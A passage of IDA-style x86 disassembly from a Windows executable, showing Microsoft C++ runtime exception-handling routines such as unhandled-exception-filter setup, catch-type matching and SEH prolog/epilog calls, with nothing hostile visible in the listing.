		push	esi
		jz	short loc_415D72
		push	dword_424880
		call	sub_411DBF
		mov	esi, eax
		test	esi, esi
		pop	ecx
		jz	short loc_415D72
		push	esi
		call	sub_41A258
		test	eax, eax
		pop	ecx
		jz	short loc_415D72
		push	edi
		call	esi
		jmp	short loc_415D74
; ---------------------------------------------------------------------------


loc_415D72:				; CODE XREF: sub_415D0D+41j
					; sub_415D0D+53j ...
		xor	eax, eax


loc_415D74:				; CODE XREF: sub_415D0D+63j
		pop	esi
		pop	edi
		retn	4
sub_415D0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_415D79	proc near		; DATA XREF: .vty:0041C240o
		push	offset sub_415D0D
		call	dword_41C110	; SetUnhandledExceptionFilter
		push	eax
		call	sub_411D53
		mov	dword_424880, eax
		pop	ecx
		mov	byte_424884, 1
		xor	eax, eax
		retn
sub_415D79	endp


; =============== S U B	R O U T	I N E =======================================



sub_415D9A	proc near		; DATA XREF: .vty:0041C25Co
		cmp	byte_424884, 0
		jz	short locret_415DBD
		push	dword_424880
		call	sub_411DBF
		pop	ecx
		push	eax
		call	dword_41C110	; SetUnhandledExceptionFilter
		mov	byte_424884, 0

locret_415DBD:				; CODE XREF: sub_415D9A+7j
		retn
sub_415D9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DBE	proc near		; DATA XREF: .vty:0041FC60o
		mov	dword ptr [ecx], offset	off_41CE04
		jmp	sub_40D931
sub_415DBE	endp

; ---------------------------------------------------------------------------


loc_415DC9:				; DATA XREF: .vty:off_41CE04o
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41CE04
		call	sub_40D931
		test	byte ptr [esp+8], 1
		jz	short loc_415DE5
		push	esi
		call	sub_40DD8A
		pop	ecx


loc_415DE5:				; CODE XREF: .vty:00415DDCj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_415DEB	proc near		; CODE XREF: sub_41602A+4Ep
					; sub_4165F6+21Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_415E41
		lea	edx, [eax+8]
		cmp	byte ptr [edx],	0
		jz	short loc_415E41
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_415E1F
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_40FAB0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_415E1F


loc_415E1B:				; CODE XREF: sub_415DEB+3Cj
					; sub_415DEB+4Bj ...
		xor	eax, eax
		jmp	short loc_415E44
; ---------------------------------------------------------------------------


loc_415E1F:				; CODE XREF: sub_415DEB+1Ej
					; sub_415DEB+2Ej
		test	byte ptr [esi],	2
		jz	short loc_415E29
		test	byte ptr [edi],	8
		jz	short loc_415E1B


loc_415E29:				; CODE XREF: sub_415DEB+37j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_415E38
		test	byte ptr [edi],	1
		jz	short loc_415E1B


loc_415E38:				; CODE XREF: sub_415DEB+46j
		test	al, 2
		jz	short loc_415E41
		test	byte ptr [edi],	2
		jz	short loc_415E1B


loc_415E41:				; CODE XREF: sub_415DEB+Bj
					; sub_415DEB+13j ...
		xor	eax, eax
		inc	eax


loc_415E44:				; CODE XREF: sub_415DEB+32j
		pop	edi
		pop	esi
		retn
sub_415DEB	endp


; =============== S U B	R O U T	I N E =======================================



sub_415E47	proc near		; CODE XREF: sub_415E8B+85p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax]
		cmp	eax, 0E0434F4Dh
		jz	short loc_415E6E
		cmp	eax, 0E06D7363h
		jnz	short loc_415E88
		call	sub_411FFD
		and	dword ptr [eax+90h], 0
		jmp	sub_416A48
; ---------------------------------------------------------------------------


loc_415E6E:				; CODE XREF: sub_415E47+Dj
		call	sub_411FFD
		cmp	dword ptr [eax+90h], 0
		jle	short loc_415E88
		call	sub_411FFD
		add	eax, 90h
		dec	dword ptr [eax]


loc_415E88:				; CODE XREF: sub_415E47+14j
					; sub_415E47+33j
		xor	eax, eax
		retn
sub_415E47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415E8B	proc near		; CODE XREF: sub_4160EC+ECp
					; sub_416498+36p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	10h
		push	offset dword_41FB58
		call	__SEH_prolog4
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		cmp	dword ptr [edi+4], 80h
		jg	short loc_415EAC
		movsx	esi, byte ptr [ebx+8]
		jmp	short loc_415EAF
; ---------------------------------------------------------------------------


loc_415EAC:				; CODE XREF: sub_415E8B+19j
		mov	esi, [ebx+8]


loc_415EAF:				; CODE XREF: sub_415E8B+1Fj
		mov	[ebp+var_1C], esi
		call	sub_411FFD
		add	eax, 90h
		inc	dword ptr [eax]
		and	[ebp+ms_exc.disabled], 0


loc_415EC2:				; CODE XREF: sub_415E8B+9Fj
		cmp	esi, [ebp+arg_C]
		jz	short loc_415F2C
		cmp	esi, 0FFFFFFFFh
		jle	short loc_415ED1
		cmp	esi, [edi+4]
		jl	short loc_415ED6


loc_415ED1:				; CODE XREF: sub_415E8B+3Fj
		call	sub_416A94


loc_415ED6:				; CODE XREF: sub_415E8B+44j
		mov	eax, esi
		shl	eax, 3
		mov	ecx, [edi+8]
		add	ecx, eax
		mov	esi, [ecx]
		mov	[ebp+var_20], esi
		mov	[ebp+ms_exc.disabled], 1
		cmp	dword ptr [ecx+4], 0
		jz	short loc_415F07
		mov	[ebx+8], esi
		push	103h
		push	ebx
		mov	ecx, [edi+8]
		push	dword ptr [ecx+eax+4]
		call	sub_416AE0


loc_415F07:				; CODE XREF: sub_415E8B+65j
		and	[ebp+ms_exc.disabled], 0
		jmp	short loc_415F27
; ---------------------------------------------------------------------------


loc_415F0D:				; DATA XREF: .vty:0041FB78o
		push	[ebp+ms_exc.exc_ptr]
		call	sub_415E47
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_415F17:				; DATA XREF: .vty:0041FB7Co
		mov	esp, [ebp+ms_exc.old_esp]
		and	[ebp+ms_exc.disabled], 0
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_20]


loc_415F27:				; CODE XREF: sub_415E8B+80j
		mov	[ebp+var_1C], esi
		jmp	short loc_415EC2
; ---------------------------------------------------------------------------


loc_415F2C:				; CODE XREF: sub_415E8B+3Aj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_415F51
		cmp	esi, [ebp+arg_C]
		jz	short loc_415F42
		call	sub_416A94


loc_415F42:				; CODE XREF: sub_415E8B+B0j
		mov	[ebx+8], esi
		call	__SEH_epilog4
		retn
sub_415E8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_415F4B	proc near		; DATA XREF: .vty:0041FB70o
		mov	ebx, [ebp+8]
		mov	esi, [ebp-1Ch]
sub_415F4B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_415F51	proc near		; CODE XREF: sub_415E8B+A8p
		call	sub_411FFD
		cmp	dword ptr [eax+90h], 0
		jle	short locret_415F6B
		call	sub_411FFD
		add	eax, 90h
		dec	dword ptr [eax]

locret_415F6B:				; CODE XREF: sub_415F51+Cj
		retn
sub_415F51	endp


; =============== S U B	R O U T	I N E =======================================



sub_415F6C	proc near		; CODE XREF: sub_4160EC+93p
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_415FAE
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_415FAE
		mov	ecx, [eax+14h]
		cmp	ecx, 19930520h
		jz	short loc_415F97
		cmp	ecx, 19930521h
		jz	short loc_415F97
		cmp	ecx, 19930522h
		jnz	short loc_415FAE


loc_415F97:				; CODE XREF: sub_415F6C+19j
					; sub_415F6C+21j
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_415FAE
		call	sub_411FFD
		xor	ecx, ecx
		inc	ecx
		mov	[eax+20Ch], ecx
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_415FAE:				; CODE XREF: sub_415F6C+8j
					; sub_415F6C+Ej ...
		xor	eax, eax
		retn
sub_415F6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415FB1	proc near		; CODE XREF: sub_412800+112p
					; sub_416212+6Ep ...

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	8
		push	offset dword_41FB80
		call	__SEH_prolog4
		mov	ecx, [ebp+arg_0]
		test	ecx, ecx
		jz	short loc_415FEE
		cmp	dword ptr [ecx], 0E06D7363h
		jnz	short loc_415FEE
		mov	eax, [ecx+1Ch]
		test	eax, eax
		jz	short loc_415FEE
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_415FEE
		and	[ebp+ms_exc.disabled], 0
		push	eax
		push	dword ptr [ecx+18h]
		call	sub_410836
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh


loc_415FEE:				; CODE XREF: sub_415FB1+11j
					; sub_415FB1+19j ...
		call	__SEH_epilog4
		retn
sub_415FB1	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_416A48

; =============== S U B	R O U T	I N E =======================================



sub_416005	proc near		; CODE XREF: sub_416288+86p
					; sub_416288+113p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		mov	eax, [ecx]
		push	esi
		mov	esi, [esp+4+arg_0]
		add	eax, esi
		cmp	dword ptr [ecx+4], 0
		jl	short loc_416028
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	esi, [edx+esi]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_416028:				; CODE XREF: sub_416005+11j
		pop	esi
		retn
sub_416005	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41602A	proc near		; CODE XREF: sub_4165F6+111p
					; sub_4165F6+2AEp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		test	edi, edi
		jnz	short loc_41603E
		call	sub_416A94
		jmp	sub_416A48
; ---------------------------------------------------------------------------


loc_41603E:				; CODE XREF: sub_41602A+8j
		and	[ebp+var_8], 0
		cmp	dword ptr [edi], 0
		mov	[ebp+var_1], 0
		jle	short loc_41609E
		push	ebx
		push	esi


loc_41604D:				; CODE XREF: sub_41602A+70j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+1Ch]
		mov	eax, [eax+0Ch]
		mov	ebx, [eax]
		test	ebx, ebx
		lea	esi, [eax+4]
		jle	short loc_416092
		mov	eax, [ebp+var_8]
		shl	eax, 4
		mov	[ebp+var_C], eax


loc_416068:				; CODE XREF: sub_41602A+60j
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+1Ch]
		mov	eax, [esi]
		push	eax
		mov	eax, [edi+4]
		add	eax, [ebp+var_C]
		push	eax
		call	sub_415DEB
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41608E
		dec	ebx
		add	esi, 4
		test	ebx, ebx
		jg	short loc_416068
		jmp	short loc_416092
; ---------------------------------------------------------------------------


loc_41608E:				; CODE XREF: sub_41602A+58j
		mov	[ebp+var_1], 1


loc_416092:				; CODE XREF: sub_41602A+33j
					; sub_41602A+62j
		inc	[ebp+var_8]
		mov	eax, [ebp+var_8]
		cmp	eax, [edi]
		jl	short loc_41604D
		pop	esi
		pop	ebx


loc_41609E:				; CODE XREF: sub_41602A+1Fj
		mov	al, [ebp+var_1]
		leave
		retn
sub_41602A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4160A3	proc near		; CODE XREF: sub_4165F6+30Ap
		push	4
		mov	eax, offset loc_41AE86
		call	sub_410C0F
		call	sub_411FFD
		cmp	dword ptr [eax+94h], 0
		jz	short loc_4160C2
		call	sub_416A94


loc_4160C2:				; CODE XREF: sub_4160A3+18j
		and	dword ptr [ebp-4], 0
		call	sub_416A81
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	sub_416A48
sub_4160A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4160D4	proc near		; DATA XREF: .vty:0041FBA8o
		call	sub_411FFD
		mov	ecx, [ebp+8]
		push	0
		push	0
		mov	[eax+94h], ecx
		call	sub_4107BC
		int	3		; Trap to Debugger
sub_4160D4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4160EC	proc near		; CODE XREF: sub_416498+57p

var_3C		= byte ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

; FUNCTION CHUNK AT 00416207 SIZE 00000005 BYTES

		push	2Ch
		push	offset dword_41FBF8
		call	__SEH_prolog4
		mov	ebx, ecx
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_1C], ebx
		and	[ebp+var_34], 0
		mov	eax, [edi-4]
		mov	[ebp+var_24], eax
		push	dword ptr [esi+18h]
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_410ADA
		pop	ecx
		pop	ecx
		mov	[ebp+var_28], eax
		call	sub_411FFD
		mov	eax, [eax+88h]
		mov	[ebp+var_2C], eax
		call	sub_411FFD
		mov	eax, [eax+8Ch]
		mov	[ebp+var_30], eax
		call	sub_411FFD
		mov	[eax+88h], esi
		call	sub_411FFD
		mov	ecx, [ebp+arg_8]
		mov	[eax+8Ch], ecx
		and	[ebp+ms_exc.disabled], 0
		xor	eax, eax
		inc	eax
		mov	[ebp+arg_8], eax
		mov	[ebp+ms_exc.disabled], eax
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+arg_C]
		push	edi
		call	sub_410B6F
		add	esp, 14h
		mov	[ebp+var_1C], eax
		and	[ebp+ms_exc.disabled], 0
		jmp	short loc_4161EB
; ---------------------------------------------------------------------------


loc_41617C:				; DATA XREF: .vty:0041FC18o
		mov	eax, [ebp+ms_exc.exc_ptr]
		call	sub_415F6C
		retn
; ---------------------------------------------------------------------------


loc_416185:				; DATA XREF: .vty:0041FC1Co
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_411FFD
		and	dword ptr [eax+20Ch], 0
		mov	esi, [ebp+arg_C]
		mov	edi, [ebp+arg_4]
		cmp	dword ptr [esi+4], 80h
		jg	short loc_4161A9
		movsx	ecx, byte ptr [edi+8]
		jmp	short loc_4161AC
; ---------------------------------------------------------------------------


loc_4161A9:				; CODE XREF: sub_4160EC+B5j
		mov	ecx, [edi+8]


loc_4161AC:				; CODE XREF: sub_4160EC+BBj
		mov	ebx, [esi+10h]
		and	[ebp+var_20], 0


loc_4161B3:				; CODE XREF: sub_4160EC+11Ej
		mov	eax, [ebp+var_20]
		cmp	eax, [esi+0Ch]
		jnb	short loc_4161D3
		imul	eax, 14h
		add	eax, ebx
		mov	edx, [eax+4]
		cmp	ecx, edx
		jle	short loc_416207
		cmp	ecx, [eax+8]
		jg	short loc_416207
		mov	eax, [esi+8]
		mov	ecx, [eax+edx*8+8]


loc_4161D3:				; CODE XREF: sub_4160EC+CDj
		push	ecx
		push	esi
		push	0
		push	edi
		call	sub_415E8B
		add	esp, 10h
		and	[ebp+var_1C], 0
		and	[ebp+ms_exc.disabled], 0
		mov	esi, [ebp+arg_0]


loc_4161EB:				; CODE XREF: sub_4160EC+8Ej
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		mov	[ebp+arg_8], 0
		call	sub_416212
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_4160EC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4160EC


loc_416207:				; CODE XREF: sub_4160EC+D9j
					; sub_4160EC+DEj
		inc	[ebp+var_20]
		jmp	short loc_4161B3
; END OF FUNCTION CHUNK	FOR sub_4160EC

; =============== S U B	R O U T	I N E =======================================



sub_41620C	proc near		; DATA XREF: .vty:0041FC10o
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+8]
sub_41620C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416212	proc near		; CODE XREF: sub_4160EC+10Dp
		mov	eax, [ebp-24h]
		mov	[edi-4], eax
		push	dword ptr [ebp-28h]
		call	sub_410B23
		pop	ecx
		call	sub_411FFD
		mov	ecx, [ebp-2Ch]
		mov	[eax+88h], ecx
		call	sub_411FFD
		mov	ecx, [ebp-30h]
		mov	[eax+8Ch], ecx
		cmp	dword ptr [esi], 0E06D7363h
		jnz	short locret_416287
		cmp	dword ptr [esi+10h], 3
		jnz	short locret_416287
		mov	eax, [esi+14h]
		cmp	eax, 19930520h
		jz	short loc_416263
		cmp	eax, 19930521h
		jz	short loc_416263
		cmp	eax, 19930522h
		jnz	short locret_416287


loc_416263:				; CODE XREF: sub_416212+41j
					; sub_416212+48j
		cmp	dword ptr [ebp-34h], 0
		jnz	short locret_416287
		cmp	dword ptr [ebp-1Ch], 0
		jz	short locret_416287
		push	dword ptr [esi+18h]
		call	sub_410B02
		pop	ecx
		test	eax, eax
		jz	short locret_416287
		push	dword ptr [ebp+10h]
		push	esi
		call	sub_415FB1
		pop	ecx
		pop	ecx

locret_416287:				; CODE XREF: sub_416212+31j
					; sub_416212+37j ...
		retn
sub_416212	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416288	proc near		; CODE XREF: sub_416407+36p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	0Ch
		push	offset dword_41FC20
		call	__SEH_prolog4
		xor	edx, edx
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+4]
		cmp	ecx, edx
		jz	loc_4163FF
		cmp	[ecx+8], dl
		jz	loc_4163FF
		mov	ecx, [eax+8]
		cmp	ecx, edx
		jnz	short loc_4162C3
		test	dword ptr [eax], 80000000h
		jz	loc_4163FF


loc_4162C3:				; CODE XREF: sub_416288+2Dj
		mov	eax, [eax]
		mov	esi, [ebp+arg_4]
		test	eax, eax
		js	short loc_4162D0
		lea	esi, [ecx+esi+0Ch]


loc_4162D0:				; CODE XREF: sub_416288+42j
		mov	[ebp+ms_exc.disabled], edx
		xor	ebx, ebx
		inc	ebx
		push	ebx
		test	al, 8
		jz	short loc_41631C
		mov	edi, [ebp+arg_0]
		push	dword ptr [edi+18h]
		call	sub_41A258
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4163E2
		push	ebx
		push	esi
		call	sub_41A258
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4163E2
		mov	eax, [edi+18h]
		mov	[esi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_41630D:				; CODE XREF: sub_416288+E7j
		push	eax
		call	sub_416005
		pop	ecx
		pop	ecx
		mov	[esi], eax
		jmp	loc_4163E7
; ---------------------------------------------------------------------------


loc_41631C:				; CODE XREF: sub_416288+51j
		mov	edi, [ebp+arg_C]
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		test	[edi], bl
		jz	short loc_416371
		call	sub_41A258
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4163E2
		push	ebx
		push	esi
		call	sub_41A258
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4163E2
		push	dword ptr [edi+14h]
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	esi
		call	sub_410C50
		add	esp, 0Ch
		cmp	dword ptr [edi+14h], 4
		jnz	loc_4163E7
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4163E7
		add	edi, 8
		push	edi
		jmp	short loc_41630D
; ---------------------------------------------------------------------------


loc_416371:				; CODE XREF: sub_416288+9Fj
		cmp	[edi+18h], edx
		jnz	short loc_4163AE
		call	sub_41A258
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4163E2
		push	ebx
		push	esi
		call	sub_41A258
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4163E2
		push	dword ptr [edi+14h]
		add	edi, 8
		push	edi
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		call	sub_416005
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_410C50
		add	esp, 0Ch
		jmp	short loc_4163E7
; ---------------------------------------------------------------------------


loc_4163AE:				; CODE XREF: sub_416288+ECj
		call	sub_41A258
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4163E2
		push	ebx
		push	esi
		call	sub_41A258
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4163E2
		push	dword ptr [edi+18h]
		call	sub_41A258
		pop	ecx
		test	eax, eax
		jz	short loc_4163E2
		test	byte ptr [edi],	4
		push	0
		pop	eax
		setnz	al
		inc	eax
		mov	[ebp+var_1C], eax
		jmp	short loc_4163E7
; ---------------------------------------------------------------------------


loc_4163E2:				; CODE XREF: sub_416288+62j
					; sub_416288+73j ...
		call	sub_416A94


loc_4163E7:				; CODE XREF: sub_416288+8Fj
					; sub_416288+D7j ...
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		mov	eax, [ebp+var_1C]
		jmp	short loc_416401
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		jmp	sub_416A48
; ---------------------------------------------------------------------------


loc_4163FF:				; CODE XREF: sub_416288+19j
					; sub_416288+22j ...
		xor	eax, eax


loc_416401:				; CODE XREF: sub_416288+169j
		call	__SEH_epilog4
		retn
sub_416288	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416407	proc near		; CODE XREF: sub_416498+11p

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	8
		push	offset dword_41FC40
		call	__SEH_prolog4
		mov	eax, [ebp+arg_8]
		test	dword ptr [eax], 80000000h
		jz	short loc_416423
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41642D
; ---------------------------------------------------------------------------


loc_416423:				; CODE XREF: sub_416407+15j
		mov	ecx, [eax+8]
		mov	edx, [ebp+arg_4]
		lea	ebx, [ecx+edx+0Ch]


loc_41642D:				; CODE XREF: sub_416407+1Aj
		and	[ebp+ms_exc.disabled], 0
		mov	esi, [ebp+arg_C]
		push	esi
		push	eax
		push	[ebp+arg_4]
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_416288
		add	esp, 10h
		dec	eax
		jz	short loc_416467
		dec	eax
		jnz	short loc_41647F
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+18h]
		call	sub_416005
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	ebx
		call	sub_410836
		jmp	short loc_41647F
; ---------------------------------------------------------------------------


loc_416467:				; CODE XREF: sub_416407+3Fj
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+18h]
		call	sub_416005
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	ebx
		call	sub_410836


loc_41647F:				; CODE XREF: sub_416407+42j
					; sub_416407+5Ej
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	__SEH_epilog4
		retn
sub_416407	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_416A48

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416498	proc near		; CODE XREF: sub_416504+D4p
					; sub_4165F6+25Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_10], 0
		jz	short loc_4164B1
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	[ebp+arg_0]
		call	sub_416407
		add	esp, 10h


loc_4164B1:				; CODE XREF: sub_416498+7j
		cmp	[ebp+arg_18], 0
		push	[ebp+arg_0]
		jnz	short loc_4164BD
		push	esi
		jmp	short loc_4164C0
; ---------------------------------------------------------------------------


loc_4164BD:				; CODE XREF: sub_416498+20j
		push	[ebp+arg_18]


loc_4164C0:				; CODE XREF: sub_416498+23j
		call	sub_41083D
		push	dword ptr [edi]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	esi
		call	sub_415E8B
		mov	eax, [edi+4]
		push	100h
		push	[ebp+arg_14]
		inc	eax
		push	[ebp+arg_C]
		mov	[esi+8], eax
		push	[ebp+arg_4]
		mov	ecx, [ebx+0Ch]
		push	esi
		push	[ebp+arg_0]
		call	sub_4160EC
		add	esp, 28h
		test	eax, eax
		jz	short loc_416502
		push	esi
		push	eax
		call	sub_410806


loc_416502:				; CODE XREF: sub_416498+61j
		pop	ebp
		retn
sub_416498	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416504	proc near		; CODE XREF: sub_4165F6+336p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	dword ptr [esi], 80000003h
		jz	loc_4165F3
		push	edi
		call	sub_411FFD
		cmp	dword ptr [eax+80h], 0
		jz	short loc_416567
		call	sub_411FFD
		lea	edi, [eax+80h]
		call	sub_411DB6
		cmp	[edi], eax
		jz	short loc_416567
		cmp	dword ptr [esi], 0E0434F4Dh
		jz	short loc_416567
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4108F5
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_4165F2


loc_416567:				; CODE XREF: sub_416504+22j
					; sub_416504+36j ...
		mov	edi, [ebp+arg_10]
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_416575
		call	sub_416A94


loc_416575:				; CODE XREF: sub_416504+6Aj
		mov	esi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_410A67
		mov	edi, eax
		mov	eax, [ebp+var_4]
		add	esp, 14h
		cmp	eax, [ebp+var_8]
		jnb	short loc_4165F2
		push	ebx


loc_416598:				; CODE XREF: sub_416504+EBj
		cmp	esi, [edi]
		jl	short loc_4165E3
		cmp	esi, [edi+4]
		jg	short loc_4165E3
		mov	eax, [edi+0Ch]
		mov	ecx, [edi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_4165B9
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_4165E3


loc_4165B9:				; CODE XREF: sub_416504+ADj
		lea	ebx, [eax-10h]
		test	byte ptr [ebx],	40h
		jnz	short loc_4165E3
		push	[ebp+arg_1C]
		mov	esi, [ebp+arg_4]
		push	[ebp+arg_18]
		push	0
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_416498
		mov	esi, [ebp+arg_14]
		add	esp, 1Ch


loc_4165E3:				; CODE XREF: sub_416504+96j
					; sub_416504+9Bj ...
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		add	edi, 14h
		cmp	eax, [ebp+var_8]
		jb	short loc_416598
		pop	ebx


loc_4165F2:				; CODE XREF: sub_416504+5Dj
					; sub_416504+91j
		pop	edi


loc_4165F3:				; CODE XREF: sub_416504+Fj
		pop	esi
		leave
		retn
sub_416504	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4165F6	proc near		; CODE XREF: sub_416964+D4p

var_2C		= dword	ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
